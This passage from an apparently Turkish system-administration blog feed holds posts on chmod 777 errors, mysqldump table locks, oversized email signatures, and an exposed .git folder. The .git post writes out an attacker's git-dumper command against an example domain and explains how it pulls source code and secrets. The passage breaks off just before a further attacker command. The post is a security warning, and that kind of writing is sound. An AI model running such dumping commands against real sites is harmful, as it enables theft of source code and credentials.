<li><strong>Dünyadaki Herkes (World): Oku, Yaz, Çalıştır (<code>rwx - 7</code>)!</strong></li>
</ul>
<p>Yani kullanıcı, sunucudaki tüm dosyaların anahtarını kapının önüne bırakmış, kilidi kırmış ve kapıyı ardına kadar açmıştır.</p>
<h3>500 Internal Server Error: Güvenlik Mekanizmasının İntikamı</h3>
<p>Kullanıcı büyük bir zafer edasıyla tarayıcıya döner, sayfayı yeniler. Artık fotoğrafın yükleneceğini düşünmektedir.</p>
<p>Fakat ekrana fotoğraf değil; web dünyasının o en soğuk, en açıklamasız hatası çarpar:</p>
<blockquote>
<p><strong>500 Internal Server Error</strong><br>
<em>The server encountered an internal error or misconfiguration and was unable to complete your request.</em></p>
</blockquote>
<p>Kullanıcı şoka girer. Ana sayfaya tıklar: <strong>500 Error!</strong> Yönetim paneline girmeye çalışır: <strong>500 Error!</strong></p>
<p>Site tamamen ölmüştür! Kullanıcının beyni donar: <em>"Ben az önce herkese tam yetki verdim! Yetkiyi sonuna kadar açtım, nasıl çalışmaz? Yetki verince çalışması gerekmiyor muydu?"</em></p>
<p>Hemen hosting firmasına panik içinde bilet açılır:</p>
<blockquote>
<p><em>"Yetişin! Siteme ufak bir izin ayarı yaptım, sunucunuz tamamen çöktü! '500 Internal Server Error' veriyor! Sitenin koduna hiç dokunmadım, sunucunuz bozuldu, acil düzeltin!"</em></p>
</blockquote>
<h3>suPHP ve LiteSpeed Güvenlik Duvarı: Sizi Sizden Korumak</h3>
<p>Sistem mühendisi Apache/LiteSpeed hata günlüğünü (<code>error_log</code>) açar. Ve ekranda o klasik teşhis raporunu görür:</p>
<pre><code class="language-text">[Fri Feb 15 14:12:05 2026] [error] [client 195.175.xx.xx] 
SoftException in Application.cpp:668: Directory "/home/firma/public_html" 
is writeable by group (0777)
[Fri Feb 15 14:12:05 2026] [error] [client 195.175.xx.xx] 
File "/home/firma/public_html/index.php" is writeable by others (0777)
</code></pre>
<p>İşte sistemin kendini kilitleme sebebi bu satırda yatar!</p>
<p>Modern sunucularda PHP kodları, geçmişteki gibi tehlikeli <code>mod_php</code> ile değil; <strong>suPHP</strong>, <strong>LiteSpeed LSPHP</strong> veya <strong>PHP-FPM</strong> gibi kullanıcı tabanlı izole motorlarla çalıştırılır.</p>
<p>Bu motorların içinde çok katı bir güvenlik emniyet subapı vardır:<br>
<em>"Eğer bir PHP dosyası veya o dosyanın bulunduğu klasör, grubu veya dünyadaki herkes tarafından yazılabilir (<code>Group Write</code> veya <code>World Write</code> - 777 / 666) durumdaysa; bu bir siber güvenlik açığıdır! Sunucuya sızan herhangi bir kullanıcı bu dosyayı manipüle edebilir. Kullanıcıyı ve sunucuyu korumak için BU DOSYAYI ÇALIŞTIRMAYI REDDEDİYORUM!"</em></p>
<p>Web sunucusu kasıtlı olarak 500 hatası basarak sistemi dondurmuştur; çünkü kapısı kırılmış bir evi çalıştırmak, hırsızlara açık davetiye çıkarmaktır!</p>
<h3>Cerrahi Tedavi: İzinleri Fabrika Ayarlarına Döndürmek</h3>
<p>Balyozla kırılan o kapıları onarmanın ve siteyi 5 saniyede hayata döndürmenin Linux terminalindeki standart cerrahi protokolü şudur:</p>
<ol>
<li><strong>Dizin İzinlerini Düzeltmek (Klasörler Daima 755 Olmalıdır):</strong>
<pre><code class="language-bash">find /home/firma/public_html -type d -exec chmod 755 {} \;
</code></pre>
</li>
<li><strong>Dosya İzinlerini Düzeltmek (Dosyalar Daima 644 Olmalıdır):</strong>
<pre><code class="language-bash">find /home/firma/public_html -type f -exec chmod 644 {} \;
</code></pre>
</li>
<li><strong>Kritik Dosyaları Mühürlemek (<code>wp-config.php</code>):</strong><br>
Veritabanı şifrelerini içeren hassas konfigürasyon dosyalarını daha da sıkılaştırın:
<pre><code class="language-bash">chmod 600 /home/firma/public_html/wp-config.php
</code></pre>
</li>
<li><strong>Sahiplik (Ownership) Kontrolü:</strong> Dosyaların sahibinin web sunucusu kullanıcısıyla eşleştiğinden emin olun:
<pre><code class="language-bash">chown -R firma:firma /home/firma/public_html
</code></pre>
</li>
</ol>
<p>Mühendis terminalden bu komutları çalıştırdığı saniyede, o 500 hatası buharlaşır. Dizinler 755, dosyalar 644 olur. Güvenlik motoru bakar: <em>"Tamam, kapılar tamir edilmiş, yetkiler nizami"</em> der ve site 0.3 saniyede tıkır tıkır açılır!</p>
<h3>777 Bir Çözüm Değil, Bir Cinayettir</h3>
<p>Bilişim dünyasında altın bir kural vardır: <strong>Bir sorunu çözmek için asla hiçbir dosyaya veya klasöre 777 izni vermeyin!</strong> 777 vermek mühendislik değil, acizliktir.</p>
<p>Eğer bir dosya yazılamıyorsa sorun iznin 777 olmamasında değil; dosyanın <strong>sahipliğinde (Ownership / chown)</strong> veya PHP'nin çalışma modundadır.</p>
<p>Ameliyathane kapısı kilitlendi diye hastanenin duvarlarını yıkan cerrah nasıl meslekten ihraç edilmeyi hak ediyorsa; dosya yazamadı diye 777 basıp tüm sunucu güvenliğini çöpe atan kullanıcı da o 500 hatasını almaya mahkûmdur. Linux izinleri bir bürokrasi değil, sizi kendi cehaletinizden ve internetin vahşi korsanlarından koruyan en kutsal çelik zırhtır.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>cPanel</category>
            <category>CHMOD 777</category>
            <category>Linux İzinleri</category>
            <category>suPHP</category>
            <category>LiteSpeed</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/cpanelde-yanlislikla-public_html-izinlerini-chmod-777-yapmak/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["Gece Yarısı Veritabanı Yedeği (mysqldump) Alınırken Kilitlenen Tablolar"]]></title>
            <link>http://localhost:3000/blog/post/gece-yarisi-veritabani-yedegi-mysqldump-alinirken-kilitlenen-tablolar</link>
            <guid>gece-yarisi-veritabani-yedegi-mysqldump-alinirken-kilitlenen-tablolar</guid>
            <pubDate>Sat, 14 Feb 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Gece saat 02:00'de çalışan otomatik yedekleme script'inde --single-transaction parametresini unutan sistemcinin, mysqldump ile tüm veritabanını kilitleyerek canlı e-ticaret sitesine planlı bir DoS saldırısı yaşatması.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/gece-yarisi-veritabani-yedegi-mysqldump-alinirken-kilitlenen-tablolar/thumbnail" alt=""> Klinik biyokimya ve fizyolojide hekimlerin asla taviz vermediği bir kural vardır: Teşhis koymak için hastanın yaşamını durduramazsınız. Şimdi gözünüzün önüne akıl almaz bir kardiyolog getirin: Hastanın dinlenme halindeki bazal kalp ritmini ve kan gazı değerlerini en ufak bir hareket paraziti olmadan, "kusursuz bir netlikle" ölçmek istiyor.</p>
<p>Ve bu ölçümü yapabilmek için hastanın kalbine kardiyopleji sıvısı enjekte ederek kalbi 15 dakika boyunca tamamen durduruyor! EKG monitöründe düz bir çizgi çekiliyor, kan örnekleri alınıyor. Ölçüm gerçekten de sıfır titreşimle, "mükemmel" bir netlikte tamamlanmıştır.</p>
<p>Fakat bu 15 dakika boyunca beyne kan gitmediği için hasta masada hipoksik beyin ölümü yaşar! Cerrah gururla <em>"Tahlil sonuçlarını harika bir şekilde kaydettim"</em> der; ama hasta çoktan mezarlığı boylamıştır. Teşhis hastayı yaşatmak içindir; tahlil yaparken hastayı öldüren hekime hekim denilemez.</p>
<p>Veritabanı mimarisinde ve sistem yönetiminde de gece yarısı sistem mühendislerinin iyi niyetle kurduğu ve e-ticaret sitelerine kendi elleriyle DoS (Denial of Service - Hizmeti Dışı Bırakma) saldırısı yaşatan o ölümcül tahlil tam olarak budur: <strong><code>mysqldump</code> komutunu <code>--single-transaction</code> parametresi olmadan çalıştırıp veritabanını canlı canlı dondurmak.</strong></p>
<h3>Gece 02:00: Nöbetçi Script Devrede</h3>
<p>Bir e-ticaret platformunun veya 7/24 hizmet veren küresel bir rezervasyon sitesinin sunucusu... Şirketin sistem yöneticisi çok sorumlu bir mühendistir; <em>"Her gece mutlaka veritabanının yedeğini almalıyım"</em> diyerek sunucunun crontab dosyasına şu görevi yazmıştır:</p>
<pre><code class="language-bash"># Her gece 02:00'de tam veritabanı yedeği al:
0 2 * * * /usr/bin/mysqldump -u root -p'parola' eticaret_db > /backup/gece_yedegi.sql
</code></pre>
<p>Zamanlama kulağa çok mantıklı gelir: Saat gece 02:00'dir, yerel trafik azalmıştır.</p>
<p>Fakat unutulan devasa bir gerçek vardır: İnternet asla uyumaz! Gece vardiyasında çalışanlar, uykusu kaçanlar, yurt dışından alışveriş yapan gurbetçiler tam o saatte sepetteki ürünlerini onaylamaktadır.</p>
<p>Saat tam 02:00:01'de cron tetiklenir.</p>
<h3>Çıplak mysqldump ve Kutsal "LOCK TABLES" Felaketi</h3>
<p><code>mysqldump</code> komutunu hiçbir ek parametre vermeden çıplak bir şekilde çalıştırdığınızda, MySQL motoru şu kararı verir:<br>
<em>"Ben bu veritabanının yedeğini alırken verilerin tutarlı (consistent) olması gerekir. Yani ben ürünler tablosunu kopyalarken kimse stoğu değiştirmesin, siparişler tablosunu alırken kimse yeni sipariş yazmasın!"</em></p>
<p>Ve <code>mysqldump</code>, veritabanındaki tüm tablolara acımasızca o emri fırlatır:</p>
<pre><code class="language-sql">FLUSH TABLES WITH READ LOCK;
</code></pre>
<p>Bu komutun Türkçe meali şudur: <strong>"Tüm dünyayı durdurun! İkinci bir emre kadar bu veritabanına TEK BİR HARF BİLE YAZILAMAZ!"</strong></p>
<p>Veritabanı 40 GB büyüklüğündedir. Diskin okuma hızı ve sıkıştırma süresiyle birlikte bu döküm alma ameliyatı tam <strong>18 dakika</strong> sürer!</p>
<h3>18 Dakikalık Felç: Kilitlenen Sepetler</h3>
<p>O 18 dakika boyunca web sitesinde tam bir can pazarı yaşanır:</p>
<ol>
<li>Bir müşteri kredi kartı bilgilerini girer ve "Siparişi Tamamla" butonuna tıklar. Kod <code>INSERT INTO orders</code> sorgusu atar.</li>
<li>MySQL kapıda bekletir: <em>"Tablo kilitli (State: Locked), bekle!"</em></li>
<li>İkinci müşteri üye olmak ister: <code>INSERT INTO users</code> -> <em>"Tablo kilitli, bekle!"</em></li>
<li>Üçüncü müşteri yorum yazar: <code>INSERT INTO comments</code> -> <em>"Tablo kilitli, bekle!"</em></li>
</ol>
<p>Sitedeki tüm yazma (write) işlemleri kuyruğa girer. PHP-FPM havuzundaki worker'lar veritabanından yanıt beklemekten kilitlenir. Apache'nin tüm yuvaları (slots) dolar.</p>
<p>Sonuç ne olur? Sitenin ana sayfası bile açılmaz hale gelir!</p>
<p>Ziyaretçilerin ekranında o meşhur hatalar patlar:</p>
<blockquote>
<p><strong>"504 Gateway Timeout"</strong><br>
<strong>"MySQL Server Has Gone Away"</strong></p>
</blockquote>
<p>Kredi kartından para çekilmiş ancak sipariş tablosuna yazılamadığı için siparişler havada kalır. Bankalar hata döner, müşteriler sitenin çöktüğünü sanıp sepeti terk eder.</p>
<p>Saat 02:18 olduğunda <code>mysqldump</code> işlemi biter, kilitler açılır (<code>UNLOCK TABLES</code>). Fakat arkada yüzlerce yarım kalmış sipariş, kilitlenmiş bağlantı ve kaybedilmiş binlerce liralık ciro kalmıştır!</p>
<p>Sistem yöneticisi sabah geldiğinde <code>/backup</code> klasöründeki dosyayı görür ve sevinir: <em>"Harika, 40 GB yedeğimiz pırıl pırıl alınmış!"</em> Oysa o yedeği alırken canlı hastaya 18 dakika boyunca kalp masajı yapmayı unuttuğundan zerre kadar haberi yoktur.</p>
<h3>Cerrahi Güvence: <code>--single-transaction</code> Mucizesi</h3>
<p>InnoDB gibi modern, ACID uyumlu ve MVCC (Çoklu Sürüm Eşzamanlılık Denetimi) destekleyen bir veritabanı motoru kullanıyorsanız; veritabanını bir saniye bile kilitlemeden, canlı trafiği sıfır kesintiyle akıtarak yedek almanın yolu tek bir parametredir:</p>
<pre><code class="language-bash"># Kesintisiz ve kilitsiz cerrahi yedekleme:
/usr/bin/mysqldump -u root -p'parola' \
  --single-transaction \
  --quick \
  --skip-lock-tables \
  eticaret_db | gzip > /backup/gece_yedegi.sql.gz
</code></pre>
<p>Bu sihirli parametrelerin yaptığı cerrahi mucizeler şunlardır:</p>
<ol>
<li><strong><code>--single-transaction</code>:</strong> Veritabanına <code>LOCK TABLES</code> koymaz! Bunun yerine bir transaction başlatır ve InnoDB'nin MVCC yeteneğini kullanarak veritabanının o anki "anlık görüntüsünü" (snapshot) okur. Siz arka planda 40 GB veriyi çekerken; müşteriler siteden sipariş vermeye, ürün güncellemeye ve ödeme yapmaya kesintisiz devam eder! Canlı trafik ile yedek alma süreci iki paralel evrende akar; kimse kimseyi engellemez.</li>
<li><strong><code>--quick</code>:</strong> Veritabanı tablolarını satır satır doğrudan diskten akıtır (stream). Sunucunun RAM'ini şişirmez, bellek tükenmesi (OOM) yaşatmaz.</li>
<li><strong><code>gzip</code> ile Borulama (Pipelining):</strong> Ham SQL dosyasını diske yazıp sonra sıkıştırmak yerine, çıktıyı doğrudan <code>gzip</code> borusuna vererek disk I/O yükünü %80 azaltır.</li>
</ol>
<h3>Yedekleme Bir Sabotaj Değil, Bir Sanattır</h3>
<p>Sisteminizi korumak için aldığınız bir tedbir, sisteminizin çöküş sebebi olamaz. Yedekleme operasyonlarını kurarken şu kuralları asla aklınızdan çıkarmayın:</p>
<ul>
<li>Canlı veritabanında çıplak <code>mysqldump</code> çalıştırmak, ameliyat masasındaki hastanın boğazını sıkmaktır.</li>
<li>Eğer veritabanınızda hâlâ eski MyISAM tabloları varsa <code>--single-transaction</code> işe yaramaz (çünkü MyISAM transaction desteklemez). Bu yüzden tüm tablolarınızı vakit kaybetmeden InnoDB'ye dönüştürün.</li>
<li>Devasa (100 GB+) veritabanlarında <code>mysqldump</code> yerine <strong>Percona XtraBackup</strong> gibi fiziksel, kilitlenmesiz sıcak yedekleme (Hot Backup) araçlarını tercih edin.</li>
</ul>
<p>Ölçüm yaparken hastanın kalbini durduran hekime nasıl katil gözüyle bakılırsa; yedek alırken e-ticaret sitesini kilitleyen yöneticiye de mühendis denilemez. Profesyonel altyapı yönetimi, en ağır bakım ve yedekleme operasyonlarını bile canlı sistemin nabzını bir milisaniye dahi aksatmadan arka planda sessizce yürütme sanatıdır.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>mysqldump</category>
            <category>MySQL</category>
            <category>InnoDB</category>
            <category>Yedekleme</category>
            <category>Sistem Mimarisi</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/gece-yarisi-veritabani-yedegi-mysqldump-alinirken-kilitlenen-tablolar/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["E-Posta İmzasına 10 MB'lık Görsel Koyan" Şirket Çalışanı ve Şişen Diskler]]></title>
            <link>http://localhost:3000/blog/post/e-posta-imzasina-10-mblik-gorsel-koyan-sirket-calisani-ve-sisen-diskler</link>
            <guid>e-posta-imzasina-10-mblik-gorsel-koyan-sirket-calisani-ve-sisen-diskler</guid>
            <pubDate>Fri, 13 Feb 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Kurumsal ciddiyet adına e-posta imzasının altına 10 MB boyutunda sıkıştırılmamış ham afiş görseli koyan şirket çalışanının, 20 kişilik Reply zincirleriyle şirketin 100 GB'lık e-posta sunucusunu 3 ayda tıkayıp felç etmesi.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/e-posta-imzasina-10-mblik-gorsel-koyan-sirket-calisani-ve-sisen-diskler/thumbnail" alt=""> Göğüs hastalıkları kliniklerinde hekimlerin en çok ürperdiği sinsi ve kronik meslek hastalıklarından biri "Silikozis" veya "Asbestozis"tir. Taş ocaklarında veya kot kumlama atölyelerinde çalışan işçiler, her nefes aldıklarında gözle görülmeyen mikroskobik silika tozlarını ciğerlerine çekerler. O toz zerresi o an hastayı öksürtmez, nefesini kesmez, hiçbir belirti vermez.</p>
<p>Ancak akciğerdeki makrofaj hücreleri o inorganik tozu parçalayamaz. Tozun etrafında mikroskobik bir yara dokusu (fibrozis) örülür. Her gün, her nefeste binlerce yeni toz tanesi birikir. İki yıl, üç yıl geçer; akciğer parankimi o biriken mikroskobik tortuların ağırlığı altında esnekliğini kaybeder, taş gibi katılaşır. Ve hasta günün birinde tek bir merdiven basamağı çıkamayacak hale gelerek solunum yetmezliğinden yoğun bakıma düşer. Akciğeri öldüren şey büyük bir darbe değil, her nefeste sessizce biriken o mikroskobik tortulardır.</p>
<p>Kurumsal şirketlerin bilgi işlem altyapılarında ve e-posta sunucularında her gün sessizce büyüyen ve en pahalı NVMe depolama havuzlarını aylar içinde çöplüğe çeviren dijital silikozisin adı bellidir: <strong>Kurumsal e-posta imzasının altına 10 Megabaytlık sıkıştırılmamış afiş koyan şirket personeli.</strong></p>
<h3>"Kurumsal Kimliğimiz Harika Görünsün!"</h3>
<p>Olay genellikle şirketin yeni atanan pazarlama direktörünün veya genel müdür sekreterinin estetik hevesiyle başlar. Şirketin yeni bir logosu, yeni bir vizyon sloganı ve ISO kalite belgesi afişi vardır.</p>
<p>Pazarlama sorumlusu grafikerden bir imza şablonu ister. Grafiker, Photoshop'ta 300 DPI baskı çözünürlüğünde, 3500x2000 piksel boyutlarında, pırıl pırıl bir görsel tasarlar: <code>imza_kurumsal_2026.png</code>.</p>
<p>Dosya boyutuna kimse bakmaz: <strong>Tam 9.8 Megabayt!</strong></p>
<p>Şirkette çalışan 60 personele bir duyuru e-postası atılır: <em>"Sayın çalışma arkadaşlarımız, şirketimizin yeni kurumsal kimliği gereği Outlook imzanıza ekteki görseli eklemeniz zorunludur."</em></p>
<p>Tüm personel Outlook ayarlarına girer, "İmza Ekle" der ve o 10 MB'lık canavarı imzanın en altına gömer.</p>
<p>Herkes mutludur; giden mailler pırıl pırıl parlamakta, kurumsal prestij tavan yapmaktadır.</p>
<p>Fakat arka planda şirketin e-posta sunucusunun ciğerlerine asbest tozu dolmaya başlamıştır.</p>
<h3>Şirket İçi "Reply-All" Kartopu Faciası</h3>
<p>Matematik yalan söylemez ve dijital dünyada hiçbir veri yoktan var olmaz.</p>
<p>Şirket içinde rutin bir toplantı planlanmaktadır. Satış müdürü 15 kişilik proje grubuna tek satırlık bir e-posta atar:<br>
<em>"Arkadaşlar, yarın saat 10:00'da toplantı odasında buluşuyoruz."</em></p>
<ul>
<li>Mailin metni: 50 bayt.</li>
<li>İmzadaki görsel: 9.8 MB!</li>
<li>Mailin toplam boyutu: <strong>9.8 MB.</strong></li>
</ul>
<p>Gruptaki ilk mühendis "Tümünü Yanıtla" (Reply All) butonuna basar: <em>"Bana uyar, geliyorum."</em></p>
<ul>
<li>İkinci mailin içine önceki mail ve her iki tarafın imzaları eklenir: <strong>19.6 MB!</strong></li>
</ul>
<p>İkinci personel cevap yazar: <em>"Ben 10 dakika gecikebilirim."</em></p>
<ul>
<li>Üçüncü mail boyutu: <strong>29.4 MB!</strong></li>
</ul>
<p>On beş kişilik grupta herkes "Tamam", "Anlaşıldı", "Görüşürüz" diyerek tek satırlık onay mesajı gönderir.</p>
<p>Yazışma zincirinin sonunda, sadece tek bir toplantı saatini belirlemek için şirket sunucusunun diski üzerinde ve o 15 personelin gelen kutusunda dönen toplam veri transferi: <strong>Tam 2.4 Gigabayt!</strong></p>
<p>Tek bir günde, tek bir konu başlığı altında 2.4 GB kurumsal çöp üretilmiştir!</p>
<h3>Altı Ay Sonra: Kapıya Vurulan Posta Kilidi</h3>
<p>Aradan altı ay geçer. Şirket içi binlerce yazışma, teklifler, tedarikçi mailleri...</p>
<p>Bir salı sabahı şirketin ana e-posta sunucusunun 120 GB'lık SSD diski %99.8 doluluk oranına vurur. Sunucu yeni gelen e-postaları kabul edemez hale gelir.</p>
<p>Dışarıdan şirkete teklif veya ihale dosyası gönderen kurumsal ortaklara buz gibi bir hata raporu dönmeye başlar:</p>
<pre><code class="language-text">Remote server returned: 552 5.2.2 Mailbox is full / Quota exceeded
Diagnostic-Code: smtp; 552 Disk quota exceeded for virtual user
</code></pre>
<p>Şirket genel müdürü bilgi işlem sorumlusunu çağırır: <em>"Şirketin mailleri durdu! Bize 100 GB alan az geliyor, demek ki şirketimiz çok büyüdü! Hemen sunucu firmasını ara, diskimizi 500 GB'a yükseltsinler!"</em></p>
<p>Müdür faturayı büyütmeyi çözüm zanneder. Oysa sorun şirketin büyümesi değil; şirketin kendi ürettiği obez dijital çöplerin altında ezilmesidir.</p>
<h3>Sunucu Diskinde Adli Otopsi</h3>
<p>Sistem mühendisi e-posta sunucusunun disk dizininde (<code>/var/vmail/sirketadi.com/</code>) bir dosya boyutu taraması yapar:</p>
<pre><code class="language-bash"># E-posta eklerindeki en büyük dosyaları tespit et:
find /var/vmail/sirketadi.com -name "*imza_kurumsal*.png" | wc -l
</code></pre>
<p>Ekranda çıkan rakam bir trajedi manifestosudur:<br>
Sunucunun diskinde tam <strong>8.420 adet</strong> aynı 9.8 MB'lık imza görseli kopyalanmış durumdadır!</p>
<p>Basit bir çarpma:<br>
8.420 adet × 9.8 MB = <strong>Tam 82.5 Gigabayt!</strong></p>
<p>100 GB'lık koca sunucu diskinin tam <strong>82 Gigabaytı</strong>, personelin birbirine attığı <em>"Tamamdır", "Eline sağlık"</em> maillerinin altına gömülen o tek bir afiş görselinin kopyalarıyla dolmuştur!</p>
<p>Mühendis bir kriz masası kurar, tek bir <code>find</code> komutuyla o yinelenen hayalet ekleri siler; sunucuda bir saniyede 82 GB boş alan açılır ve sistem derin bir nefes alır.</p>
<h3>E-Posta İmzalarında Dijital Hijyen Protokolü</h3>
<p>Kurumsal kimliği korurken sunucuyu kanser etmemenin asgari mühendislik ve görgü kuralları şunlardır:</p>
<ol>
<li><strong>İmzaya Asla Fiziksel Dosya Eklemeyin (Embedded vs Linked):</strong> E-posta imzasındaki görseli doğrudan mektubun içine bir dosya eki (attachment / base64) olarak gömmeyin! Resmi şirket web sitenizin sunucusuna (CDN) yükleyin (<code>https://sirketadi.com/images/logo.png</code>) ve imzaya sadece HTML <code>&#x3C;img></code> linki olarak ekleyin:
<pre><code class="language-html">&#x3C;img src="https://cdn.sirketadi.com/kurumsal-logo.webp" width="180" height="50" alt="Logo" />
</code></pre>
Böylece giden mailin boyutu 10 MB değil, sadece <strong>200 bayt</strong> olur! Müşteri maili açtığında resim webden anlık çekilir; sunucu diski bir bayt bile şişmez.</li>
<li><strong>Görsel Boyut Standardı:</strong> Eğer bir görsel yüklenecekse, bu görsel 300 DPI baskı afişi olamaz. Web için optimize edilmiş, en fazla 200x80 piksel boyutunda ve maksimum <strong>30 ila 50 Kilobayt</strong> büyüklüğünde bir WebP/PNG olmalıdır.</li>
<li><strong>Şirket İçi Yazışmalarda İmza Kapatma:</strong> Outlook veya e-posta istemcilerinde "Yanıtlarken ve İletirken İmza Ekleme" seçeneğini aktif edin. İlk mailde imza gitsin; fakat 20 turluk iç yazışma zincirinde her seferinde aynı imzanın tekrar tekrar eklenmesini engelleyin.</li>
<li><strong>Merkezi İmza Yöneticileri (Exclaimer / CodeTwo):</strong> Kurumsal şirketlerde personelin kendi kafasına göre imza yüklemesini yasaklayın; sunucu düzeyinde çalışan merkezi imza yazılımlarıyla tek tip, hafif ve optimize edilmiş şablonları otomatik basın.</li>
</ol>
<p>Ciğerlerine dolan asbest tozunu fark etmeyen işçinin solunum yetmezliğine girmesi gibi; e-posta imzalarını denetlemeyen şirketler de disk doluluğuyla dijital komaya girer. Teknoloji bilinçli kullanılmadığında, en masum süsler bile altyapının boğazını sıkan öldürücü bir kement haline gelir.</p>]]></content:encoded>
            <author>contact@mateusf.com (Mateus Felipe Gonçalves)</author>
            <category>E-Posta</category>
            <category>Outlook</category>
            <category>Sistem Yönetimi</category>
            <category>Kota</category>
            <category>Verimlilik</category>
            <enclosure length="0" type="image/png" url="http://localhost:3000/blog/post/e-posta-imzasina-10-mblik-gorsel-koyan-sirket-calisani-ve-sisen-diskler/thumbnail"/>
        </item>
        <item>
            <title><![CDATA["Geliştiricinin Sunucuya .git Klasörünü Unutup Yüklemesi": Kaynak Kodların İfşası]]></title>
            <link>http://localhost:3000/blog/post/gelistiricinin-sunucuya-git-klasorunu-unutup-yuklemesi-kaynak-kodlarin-ifsasi</link>
            <guid>gelistiricinin-sunucuya-git-klasorunu-unutup-yuklemesi-kaynak-kodlarin-ifsasi</guid>
            <pubDate>Thu, 12 Feb 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Projeyi sunucuya aktarırken .git dizinini kamuya açık public_html içinde unutan ve web sunucusunda gizlemeyen yazılımcının, tüm kaynak kodlarını, veritabanı şifrelerini ve commit geçmişini internet korsanlarına açık büfe olarak sunması.]]></description>
            <content:encoded><![CDATA[<p><img src="http://localhost:3000/blog/post/gelistiricinin-sunucuya-git-klasorunu-unutup-yuklemesi-kaynak-kodlarin-ifsasi/thumbnail" alt=""> Tıp hukukunda ve hasta mahremiyetinde en ağır cezaları gerektiren suçlardan biri, hasta arşivinin sokağa saçılmasıdır. Düşünün ki bir psikiyatri kliniğinin veya tam teşekküllü bir hastanenin başhekimi, hastanenin son yirmi yılda tedavi ettiği on binlerce hastanın epikriz raporlarını, cinsel sağlık kayıtlarını, genetik tahlillerini ve hekimlerin el yazısıyla tuttuğu gizli hasta notlarını içeren tüm klasörleri alıyor; hastanenin caddeye bakan dış cephesindeki ilan panosuna asıyor! Sokaktan geçen herkes, meraklı komşular, magazinciler ve şantajcılar o panodan dosyaları tek tek alıp fotokopisini çekiyor. Başhekim ise içeride kapısını kilitlediğini düşünerek <em>"Bizim hastanemiz çok güvenlidir, ana kapımız çeliktir"</em> diye övünmektedir. Oysa hastanenin tüm mahremiyeti caddenin ortasında sergilenmektedir.</p>
<p>Yazılım geliştirme ve siber güvenlik dünyasında her gün binlerce şirketin, finans kuruluşunun ve e-ticaret sitesinin tüm varlığını korsanların eline teslim eden en vahim ihmal tam olarak bu pano skandalıdır: <strong>Gizli <code>.git</code> klasörünü internete açık <code>public_html</code> dizininde unutup tüm kaynak kodları ifşa etmek.</strong></p>
<h3>Bir Dağıtım (Deploy) Kazası: "Hepsini Sunucuya Atalım"</h3>
<p>Geliştirici yerel bilgisayarında Git sürüm kontrol sistemiyle projeyi geliştirmiştir. Kodlar yazılmış, commit'ler atılmış, versiyonlar etiketlenmiştir.</p>
<p>Sıra projeyi canlı sunucuya aktarmaya gelir. Geliştirici ya terminalden sunucunun <code>public_html</code> klasörüne girip <code>git clone</code> komutunu çalıştırmıştır ya da yereldeki tüm proje klasörünü gizli dosyalarla birlikte ZIP yapıp sunucuda <code>public_html</code> içine açmıştır.</p>
<p>Web sitesi açılır: <code>sirketadi.com.tr</code>.</p>
<p>Geliştirici ana sayfayı inceler; her şey pırıl pırıldır. PHP kodları arka planda çalışmakta, veritabanı sorguları dönmekte, kullanıcı şifreleri ekrana yansımamaktadır. Geliştirici arkasına yaslanır: <em>"Kusursuz bir güvenlik! Kodlarımız sunucuda güvende."</em></p>
<p>Fakat geliştiricinin unuttuğu devasa bir kör nokta vardır: Proje klasörünün en tepesindeki o gizli klasör: <strong><code>.git</code></strong>.</p>
<h3>İnternete Açık Arşiv: <code>site.com/.git/</code></h3>
<p>Git bir büyücü değildir; projenin tüm geçmişini, yazılmış her satır kodu, silinmiş eski şifreleri ve commit loglarını yerel bir veritabanı olarak <strong><code>.git/</code></strong> klasörünün içinde saklar:</p>
<ul>
<li><code>.git/HEAD</code></li>
<li><code>.git/config</code></li>
<li><code>.git/index</code></li>
<li><code>.git/objects/</code></li>
</ul>
<p>Eğer siz bu klasörü web sunucunuzun kök dizinine koyar ve Apache/Nginx yapılandırmanızda bu klasöre erişimi açıkça yasaklamazsanız; internetteki herhangi bir kişi tarayıcısının adres çubuğuna şunu yazabilir:</p>
<pre><code class="language-text">https://sirketadi.com.tr/.git/HEAD
</code></pre>
<p>Ve tarayıcı ekrana şu masum satırı basar:</p>
<pre><code class="language-text">ref: refs/heads/main
</code></pre>
<p>Bu satırın ekranda belirmesi, siber korsanlar için <em>"Bu kalenin tüm gizli tünelleri ve hazine odasının anahtarı kapının üzerinde unutulmuştur"</em> demektir!</p>
<h3>30 Saniyede Gelen Felaket: <code>git-dumper</code> Saldırısı</h3>
<p>Korsanların interneti tarayan otomatik botları bu açık <code>.git</code> klasörünü tespit ettiği an saniyeler içinde özel açık kaynak araçlar (Örn: <code>git-dumper</code> veya <code>GitTools</code>) devreye girer.</p>
<p>Saldırgan kendi terminalinden tek bir komut çalıştırır:</p>
<pre><code class="language-bash">git-dumper https://sirketadi.com.tr/.git/ /root/calinan_proje/
</code></pre>
<p>Bu araç ne yapar?</p>
<ol>
<li><code>.git/index</code> dosyasını indirir; projedeki tüm dosyaların isimlerini ve dizin ağacını okur.</li>
<li><code>.git/objects/</code> dizinindeki tüm hash'lenmiş nesneleri peş peşe HTTP GET istekleriyle çeker.</li>
<li>Çekilen bu nesneleri yerel makinede <code>git checkout -f</code> ile açar.</li>
</ol>
<p>Ve tam <strong>30 saniye içinde</strong>, sitenizin sunucusunda derlenmiş olarak çalışan tüm PHP kaynak kodları, JavaScript dosyaları, veritabanı mimarisi ve en önemlisi <code>.env</code> dosyasındaki tüm sırlar korsanın bilgisayarında satır satır yeniden canlanır!</p>
<p>Korsan artık sitenize uzaktan bakmamaktadır; sitenizin kaynak kodunu kendi yerel Visual Studio Code editöründe açmış, kahvesini yudumlayarak incelemektedir!</p>
<h3>İtiraf Sayfası: "Geçmiş Commit'lerde Unutulan Şifreler"</h3>
<p>Yazılımcı belki de canlıya çıkmadan önce <code>.env</code> dosyasını temizlemiş veya şifreleri değiştirmiştir. Fakat Git'in hafızası asla unutmaz!</p>
<p>Korsan terminalden şu komutu yazar:</p>
